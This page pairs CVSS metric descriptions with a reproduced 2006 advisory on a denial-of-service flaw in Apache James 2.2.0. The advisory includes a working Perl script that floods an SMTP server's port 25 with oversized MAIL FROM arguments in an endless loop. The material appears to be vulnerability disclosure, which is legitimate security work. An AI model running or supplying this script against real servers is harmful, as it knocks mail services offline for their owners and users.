The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

[ECHO_ADV_31$2006] JAMES 2.2.0 <-- Denial Of Service
------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Java Apache Mail Enterprise Server (a.k.a. Apache James)
version : 2.2.0
URL : http://jakarta.apache.org/avalon/phoenix
Description :
The Java Apache Mail Enterprise Server (a.k.a. Apache James) is
a 100% pure Java SMTP and POP3 Mail server and NNTP News server.
James also designed to be a complete and portable enterprise mail
engine solution based on currently available open protocols.
James is based upon the Apache Avalon application framework.
(For more information about Avalon, please go to http://avalon.apache.org/)
James requires Java 2 (either JRE 1.3 or 1.4 as of 2.0a3).
------------------------------------------------------------------------
----
Vulnerability:
~~~~~~~~~~~~~~
James SMTP servers are allowing attacker to supply a long variable at
SMTP argument (such as MAIL) to the SMTP server, because of this
vulnerability the Processor at server machine will have a workload till 100%
Exploit Code:
~~~~~~~~~~~~~
-------------------------- james.pl-----------------------------------------
#!/usr/bin/perl -w
use IO::Socket;
print "* DOS buat JAMES ver.2.2.0 by y3dips *n";
if(@ARGV == 1)
{
my $host = $ARGV[0];
my $i = 1;
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>"25", Reuse=>1)
or die " Cannot Connect to Server !";
while ( $i++ ) {
print $socket "MAIL FROM:" . "fvclz" x 1000000 . "rn" and
print " -- sucking CPU resources at $host .....n";
sleep(1);
}
close $socket;
}
else
{ print " Usage: $0 [target] rnn"; }
